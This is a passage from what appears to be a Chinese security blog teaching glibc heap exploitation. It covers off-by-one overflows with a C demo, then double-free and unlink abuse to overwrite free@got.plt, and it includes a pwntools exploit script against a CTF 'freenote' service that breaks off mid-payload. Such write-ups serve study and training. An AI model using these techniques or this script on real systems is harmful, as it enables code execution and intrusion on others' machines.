<li><p>利用堆块覆盖<br>这一类攻击主要是获取对目标堆块的读写,利用方式分两种情况:一种是覆盖最低字节为任意数(off-by-one overwrite freed or allocated),另一种是覆盖最低字节为NULL(off-by-one NULL byte)。</p>
<p><strong>off-by-one overwrite freed or allocated :</strong> 如图1所示,堆块A、B、C,其中堆块A已分配且含有off-by-one漏洞,堆块B已释放,堆块C为目标堆块,需要对堆块C可读写。可以通过堆块A的off-by-one漏洞覆盖堆块B size字段的最低字节(不改变inuse位),使堆块B的长度可以包含堆块C。然后在malloc(B+C),就可以获取堆块B的原来指针,从而可以对目标堆块进行读写。<br>如果堆块A、B、C都是已分配,可以释放掉堆块B,将问题转化为前面一种情况,同样可以解决。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"> _____________________ ______|_____B_______|______</span><br><span class="line"> | | | | | | | | | |</span><br><span class="line"> | A | B | C | | A | B1 | B2 | | C |</span><br><span class="line"> |______|______|_______| |______|____|____|___|_____|</span><br><span class="line">图<span class="number">1</span> overwrite freed or allocated 图<span class="number">2</span> overwrite null byte</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p><strong>off-by-one overwrite NULL byte :</strong> 这类漏洞在实际中很常见,如使用strcpy()进行复制时未考虑字符串长度。如图2所示,堆块A、B、C,其中堆块A已分配且含有off-by-one漏洞,堆块B、C已分配,堆块B2为目标堆块,需要对堆块B2可读写。利用方法:先释放掉堆块B,然后通过堆块A的off-by-one漏洞覆盖堆块B size字段的最低字节为NULL,减小堆块B的size字段值 <strong>(如果堆块B size字段未改变,再次分配时,堆块C的prev_size字段会改变,造成漏洞无法利用)</strong> ;再申请两个较小的堆块B1和B2(B1+B2<B),这时堆块C的prev_size大小仍然是堆块B的大小,释放掉堆块B1和堆块C时就会导致堆块B和堆块C进行合并,然后再malloc(B+C)大小的堆块就可以得到原来堆块B的地址,从而可以对堆块B2进行读写。</p>
</li>
</ol>
<h3 id="0x03-off-by-one漏洞实例"><a href="#0x03-off-by-one漏洞实例" class="headerlink" title="0x03. off-by-one漏洞实例"></a>0x03. off-by-one漏洞实例</h3><p> 下面分享一下off-by-one NULL byte 漏洞代码,今后遇到这类漏洞,再补充一个实例。<br> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><malloc.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">void</span> *A,*B,*C;</span><br><span class="line"> <span class="type">void</span> *B1,*B2;</span><br><span class="line"> <span class="type">void</span> *Overlapping;</span><br><span class="line"> A = <span class="built_in">malloc</span>(<span class="number">0x100</span><span class="number">-8</span>);</span><br><span class="line"> B = <span class="built_in">malloc</span>(<span class="number">0x200</span>);</span><br><span class="line"> C = <span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"chunk B address: %x, C address: %x\n"</span>, B, C);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(B);</span><br><span class="line"> ((<span class="type">char</span> *)A)[<span class="number">0x100</span> - <span class="number">8</span>] = <span class="string">'\x00'</span>; <span class="comment">// off-by-one NULL byte</span></span><br><span class="line"></span><br><span class="line"> B1=<span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line"> B2=<span class="built_in">malloc</span>(<span class="number">0x80</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"chunk B1 address: %x, B2 address: %x\n"</span>, B1, B2);</span><br><span class="line"> <span class="built_in">free</span>(B1);</span><br><span class="line"> <span class="built_in">free</span>(C);</span><br><span class="line"> Overlapping = <span class="built_in">malloc</span>(<span class="number">0x300</span>); </span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"new malloced chunk: %x\n"</span>, Overlapping);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="0x04-参考文献"><a href="#0x04-参考文献" class="headerlink" title="0x04. 参考文献"></a>0x04. 参考文献</h3><p><a target="_blank" rel="noopener" href="http://bobao.360.cn/learning/detail/3113.html">1. 从一字节溢出到任意代码执行-Linux下堆漏洞利用</a><br><a target="_blank" rel="noopener" href="https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/">2. Off-By-One Vulnerability (Heap Based)</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/02/24/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BDouble-free/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2017/02/24/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BDouble-free/" class="post-title-link" itemprop="url">Linux堆漏洞之Double free</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2017-02-24 11:19:12" itemprop="dateCreated datePublished" datetime="2017-02-24T11:19:12+00:00">2017-02-24</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2017-03-02 00:47:16" itemprop="dateModified" datetime="2017-03-02T00:47:16+00:00">2017-03-02</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>很久之前学习了Linux堆漏洞Double free,一直没时间写下学习体会。今天有时间记录下,如有错误,欢迎斧正。本文主要介绍Linux下堆漏洞Double free的利用原理与实践。所谓的Double free是指:同一个指针指向的内存被free两次。</p>
<h3 id="0x01-Glibc背景知识"><a href="#0x01-Glibc背景知识" class="headerlink" title="0x01. Glibc背景知识"></a>0x01. Glibc背景知识</h3><p>Linux下堆分配器主要由两个结构管理堆内存,一种是堆块头部形成的隐式链表,另一种是管理空闲堆块的显式链表(Glibc中的bins数据结构)。关于bins的介绍已经有很多,就不赘述了。接下来介绍一下Linux下Double free漏洞原理以及free函数的堆块合并过程。</p>
<p><strong>Double free漏洞原理:</strong> free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。</p>
<p><strong>Linux free函数原理</strong><br>由堆块头部形成的隐式链表可知,一个需释放堆块相邻的堆块有两个:<em>前一个块</em>(由当前块头指针加pre_size确定),<em>后一个块</em>(由当前块头指针加size确定)。从而,在合并堆块时会存在两种情况:<em>向后合并</em>、<em>向前合并</em>。当前一个块和当前块合并时,叫做向后合并。当后一个块和当前块合并时,叫做向前合并。<br><em>相关代码</em><br> malloc.c int_free函数中相关代码如下:<br> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Treat space at ptr + offset as a chunk */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> chunk_at_offset(p, s) ((mchunkptr) (((char \*) (p)) + (s)))</span></span><br><span class="line"><span class="comment">/* check/set/clear inuse bits in known places */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> inuse_bit_at_offset(p, s) \</span></span><br><span class="line"><span class="meta"> (((mchunkptr) (((char \*) (p)) + (s)))->size & PREV_INUSE)</span></span><br><span class="line"></span><br><span class="line">_int_free (mstate av, mchunkptr p, <span class="type">int</span> have_lock)</span><br><span class="line">{</span><br><span class="line"> ...</span><br><span class="line"> <span class="comment">/* consolidate backward \*/</span> <span class="comment">// "向后合并"</span></span><br><span class="line"> <span class="keyword">if</span> (!prev_inuse(p)) { <span class="comment">//如果前一个块为空闲,则进行合并</span></span><br><span class="line"> prevsize = p->prev_size; <span class="comment">//获得前一个块大小</span></span><br><span class="line"> size += prevsize; <span class="comment">//合并后堆块大小</span></span><br><span class="line"> p = chunk_at_offset(p, -((<span class="type">long</span>) prevsize)); <span class="comment">//根据当前块指针和前一个块大小,确定前一个块位置,即合并后块位置</span></span><br><span class="line"> unlink(av, p, bck, fwd); <span class="comment">//利用unlink从显式链表Unsorted bin取下前一个块</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> nextchunk = chunk_at_offset(p, size); <span class="comment">//根据当前块指针和当前块大小, 确定后一个块位置,</span></span><br><span class="line"> nextsize = chunksize(nextchunk); <span class="comment">//获得后一个块大小</span></span><br><span class="line"> nextinuse = inuse_bit_at_offset(nextchunk, nextsize); <span class="comment">//根据下一个块的下一个块的PREV_INUSE位,判断下一个块是否空闲</span></span><br><span class="line"> <span class="comment">/* consolidate forward \*/</span> <span class="comment">// "向前合并"</span></span><br><span class="line"> <span class="keyword">if</span> (!nextinuse) { <span class="comment">//如果后一个块为空闲,则进行合并</span></span><br><span class="line"> unlink(av, nextchunk, bck, fwd); <span class="comment">//使用unlink将后一个块从unsorted bin中取下</span></span><br><span class="line"> size += nextsize; <span class="comment">//扩大当前块大小即可完成向前合并</span></span><br><span class="line"> } <span class="keyword">else</span></span><br><span class="line"> clear_inuse_bit_at_offset(nextchunk, <span class="number">0</span>);</span><br><span class="line"> ...</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> unlink 宏中主要的操作如下:</span><br><span class="line"> 注意:此处的fd、bk指的是显式链表bins中的前一个块和后一个块,与合并块时的隐式链表中的前一个块和后一个块不同</span><br><span class="line"> <span class="meta">#<span class="keyword">define</span> unlink(AV, P, BK, FD) { </span></span><br><span class="line"> FD = P->fd; <span class="comment">//获取显式链表中前一个块 FD </span></span><br><span class="line"> BK = P->bk; <span class="comment">//获取显示链表中后一个块 BK </span></span><br><span class="line"> FD->bk = BK; <span class="comment">//设置FD的后一个块 </span></span><br><span class="line"> BK->fd = FD; <span class="comment">//设置BK的前一个块</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//由于unlink的危险性,添加了一些检测机制,完整版unlink宏如下</span></span><br><span class="line"> <span class="comment">/* Take a chunk off a bin list */</span></span><br><span class="line"> <span class="meta">#<span class="keyword">define</span> unlink(AV, P, BK, FD) { \</span></span><br><span class="line"><span class="meta"> FD = P->fd; \</span></span><br><span class="line"><span class="meta"> BK = P->bk; </span></span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="number">0</span>)) \</span><br><span class="line"> malloc_printerr (check_action, <span class="string">"corrupted double-linked list"</span>, P, AV); \</span><br><span class="line"> <span class="keyword">else</span> { \</span><br><span class="line"> FD->bk = BK; \</span><br><span class="line"> BK->fd = FD; \</span><br><span class="line"> <span class="keyword">if</span> (!in_smallbin_range (P->size) \</span><br><span class="line"> &&__builtin_expect (P->fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>)) { \</span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (P->fd_nextsize->bk_nextsize != P, <span class="number">0</span>) \</span><br><span class="line"> || __builtin_expect (P->bk_nextsize->fd_nextsize != P, <span class="number">0</span>)) \</span><br><span class="line"> malloc_printerr (check_action, \</span><br><span class="line"> <span class="string">"corrupted double-linked list (not small)"</span>, \</span><br><span class="line"> P, AV); \</span><br><span class="line"> <span class="keyword">if</span> (FD->fd_nextsize == <span class="literal">NULL</span>) { \</span><br><span class="line"> <span class="keyword">if</span> (P->fd_nextsize == P) \</span><br><span class="line"> FD->fd_nextsize = FD->bk_nextsize = FD; \</span><br><span class="line"> <span class="keyword">else</span> { \</span><br><span class="line"> FD->fd_nextsize = P->fd_nextsize; \</span><br><span class="line"> FD->bk_nextsize = P->bk_nextsize; \</span><br><span class="line"> P->fd_nextsize->bk_nextsize = FD; \</span><br><span class="line"> P->bk_nextsize->fd_nextsize = FD; \</span><br><span class="line"> } \</span><br><span class="line"> } <span class="keyword">else</span> { \</span><br><span class="line"> P->fd_nextsize->bk_nextsize = P->bk_nextsize; \</span><br><span class="line"> P->bk_nextsize->fd_nextsize = P->fd_nextsize; \</span><br><span class="line"> } \</span><br><span class="line"> } \</span><br><span class="line"> } \</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="0x02-Double-free漏洞利用原理"><a href="#0x02-Double-free漏洞利用原理" class="headerlink" title="0x02. Double free漏洞利用原理"></a>0x02. Double free漏洞利用原理</h3><p>以64位应用为例:如果在free一个指针指向的块时,由于堆溢出,将后一个块的块头改成如下格式:<br> <strong>fake_prevsize1 = 被释放块大小;</strong><br> <strong>fake_size1 = 0x20 | 1 (fake_size1 = 0x20)</strong><br> <strong>fake_fd = <a href="mailto:free@got.plt">free@got.plt</a> - 0x18</strong><br> <strong>fake_bk = shellcode address</strong><br> <strong>fake_prevsize2 = 0x20</strong><br> <strong>fake_size2 = 0x10</strong><br>如下图:<br><strong>如果chunk0被释放(fake_size1 = 0x21),进行空闲块合并时,1)由于前一个块非空闲,不会向后合并。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。</strong><br><strong>如果chunk1被释放(fake_size1 = 0x20),进行空闲块合并时,1)由于前一个块空闲,向后合并,导致unlink。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。</strong><br><strong>根据unlink宏知道</strong>, 前一个块 FD 指向 <a href="mailto:free@got.plt">free@got.plt</a> - 0x18, 后一个块 BK 指向 shellcode address。然后前一个块 FD 的bk指针即<a href="mailto:free@got.plt">free@got.plt</a>,值为shellcode address, 后一个块 BK 的 fd 指针即shellcode + 0x10,值为 <a href="mailto:free@got.plt">free@got.plt</a>。从而实现了一次固定地址写。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">High |----------------|</span><br><span class="line"> | fake_size2 |</span><br><span class="line"> |----------------|</span><br><span class="line"> | fake_prevsize2 |</span><br><span class="line"> |----------------| chunk2 pointer</span><br><span class="line"> | fake_bk |</span><br><span class="line"> |----------------|</span><br><span class="line"> | fake_fd |</span><br><span class="line"> |----------------| chunk1 <span class="built_in">malloc</span> returned pointer</span><br><span class="line"> | fake_size1 |</span><br><span class="line"> |----------------|</span><br><span class="line"> | fake_prevsize1 |</span><br><span class="line"> |----------------| chunk1 pointer</span><br><span class="line"> | ...... |</span><br><span class="line"> | padding |</span><br><span class="line"> | ...... |</span><br><span class="line"> |----------------|</span><br><span class="line"> | fake_bk |</span><br><span class="line"> |----------------|</span><br><span class="line"> | fake_fd |</span><br><span class="line"> |----------------| chunk0 <span class="built_in">malloc</span> returned pointer</span><br><span class="line"> | size |</span><br><span class="line"> |----------------|</span><br><span class="line"> | prev_size |</span><br><span class="line">Low |----------------| chunk0 pointer</span><br></pre></td></tr></table></figure>
<p>但是,由于当前glibc的加固检测机制,会检查显式链表中前一个块的fd与后一个块的bk是否都指向当前需要unlink的块。这样攻击者就无法替换chunk1(或chunk0)的fd与bk。相关代码如下:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="number">0</span>)) \</span><br><span class="line"> malloc_printerr (check_action, <span class="string">"corrupted double-linked list"</span>, P, AV)</span><br></pre></td></tr></table></figure>
<p>针对这种情况,需要在内存中找到一个指向需要unlink块的指针,就可以绕过。</p>
<h3 id="0x03-Double-free漏洞利用实例"><a href="#0x03-Double-free漏洞利用实例" class="headerlink" title="0x03. Double free漏洞利用实例"></a>0x03. Double free漏洞利用实例</h3><p>下面以64位的freenote为例,介绍下Double free漏洞的利用。<br>该freenote存在两个漏洞:一个是在建立新note的时候在note的结尾处没有加”\x00”,因此会造成堆栈地址泄露;另一个漏洞就是在delete note时,没有检测这个note是否已经被删除过了,可以删除一个note两遍,造成double free。<br><strong>利用思路:</strong><br>(1) 泄漏libc.so地址,通过新建两个note,然后删除一个note,再新建一个note,泄漏glibc中main_arena.top的地址,然后根据偏移计算其他地址。<br>(2) 泄漏heap地址,让某个非使用中chunk的fd栏位指向另一个 chunk,并且让note的内容拼接上,就可以把chunk在堆上的位置给泄漏出来。<br>(3) 触发unlink机制,并布置参数,导致一次固定地址写。由于申请的堆长度和地址放在bss段,因此可以将fake_fd地址指向 bss第一个堆基址 - 0x18,fake_bk地址指向 bss第一个堆基址 - 0x10,就可以绕过unlink检测机制。<br>(4) 对任意地址读写,覆盖<a href="mailto:free@got.plt">free@got.plt</a>为system地址。<br><strong>漏洞利用代码:</strong></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> <span class="comment"># context.log_level ='debug'</span></span><br><span class="line"> p = process(<span class="string">'./freenote_x64'</span>)</span><br><span class="line"> gdb.attach(p, <span class="string">'b *0x40106a \n b *0x400edc'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># context.log_level ='debug'</span></span><br><span class="line"> p = remote(<span class="string">"pwn2.jarvisoj.com"</span>, <span class="number">9886</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">list_post</span>():</span><br><span class="line"> p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">new_post</span>(<span class="params">l, c</span>):</span><br><span class="line"> p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'new note: '</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(l))</span><br><span class="line"> p.recvuntil(<span class="string">'Enter your note: '</span>)</span><br><span class="line"> p.sendline(c)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit_post</span>(<span class="params">n, l, c</span>):</span><br><span class="line"> p.recvuntil(<span class="string">'Your choice: '</span>) </span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Note number: '</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(n))</span><br><span class="line"> p.recvuntil(<span class="string">'Length of note: '</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(l))</span><br><span class="line"> p.recvuntil(<span class="string">'Enter your note: '</span>)</span><br><span class="line"> p.sendline(c)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete_post</span>(<span class="params">n</span>):</span><br><span class="line"> p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Note number: '</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(n))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line"> free_got = <span class="number">0x602018</span></span><br><span class="line"> <span class="comment"># 1.leak glibc address,then caculate system and '/bin/sh' address</span></span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'a'</span>*<span class="number">7</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'b'</span>*<span class="number">7</span>)</span><br><span class="line"> delete_post(<span class="number">0</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'c'</span>*<span class="number">7</span>)</span><br><span class="line"></span><br><span class="line"> list_post()</span><br><span class="line"> p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="comment"># arena_addr = u64(p.recv(6).ljust(8,'\x00'))</span></span><br><span class="line"> leak_a = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> arena_addr = u64(leak_a[<span class="number">0</span>:-<span class="number">1</span>].ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> DEBUG:</span><br><span class="line"> system_addr = arena_addr - (<span class="number">0x3c3b68</span> - <span class="number">0x45380</span>) <span class="comment">#local offset</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> system_addr = arena_addr - (<span class="number">0x3be7b8</span> - <span class="number">0x46590</span>) <span class="comment">#remote offset</span></span><br><span class="line"> <span class="comment"># print 'system_adddr %x' % system_addr </span></span><br><span class="line"> delete_post(<span class="number">0</span>)</span><br><span class="line"> delete_post(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 2.leak heap chunk base</span></span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'a'</span>*<span class="number">7</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'b'</span>*<span class="number">7</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'c'</span>*<span class="number">7</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'d'</span>*<span class="number">7</span>)</span><br><span class="line"> delete_post(<span class="number">2</span>)</span><br><span class="line"> delete_post(<span class="number">0</span>)</span><br><span class="line"> edit_post(<span class="number">1</span>, <span class="number">0x98</span>, <span class="string">'A'</span>*<span class="number">0x97</span>)</span><br><span class="line"> list_post()</span><br><span class="line"> p.recvuntil(<span class="string">'1. AA'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> leak = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> heap_addr = u64(leak[<span class="number">0</span>:-<span class="number">1</span>].ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br><span class="line"> <span class="comment"># print 'heap base %x' % heap_addr</span></span><br><span class="line"> delete_post(<span class="number">1</span>)</span><br><span class="line"> delete_post(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 3.construct fake heap</span></span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'A'</span>*<span class="number">7</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'B'</span>*<span class="number">7</span>)</span><br><span class="line"> new_post(<span class="number">8</span>, <span class="string">'C'</span>*<span class="number">7</span>)</span><br><span class="line"> delete_post(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> fake_pre_size = <span class="number">0xa1</span></span><br><span class="line"> fake_size = <span class="number">0x81</span></span><br><span class="line"> fd = heap_addr - <span class="number">0x17f0</span> - <span class="number">0x18</span></span><br><span class="line"> bk = heap_addr - <span class="number">0x17f0</span> - <span class="number">0x10</span></span><br><span class="line"> payload1 = p64(fake_pre_size) + p64(fake_size) + p64(fd) + p64(bk)</span><br><span class="line"> payload1 += <span class="string">'A'</span> * <span class="number">0x60</span> + p64(<span class="number">0x80</span>) + p64(<span class="number">0xa0</span>)</span><br><span class="line"></span><br><span class="line"> payload2 = p64(<span class="number">0xa0</span>) + p64(<span class="number">0x21</span>) + <span class="string">'A'</span> *<span 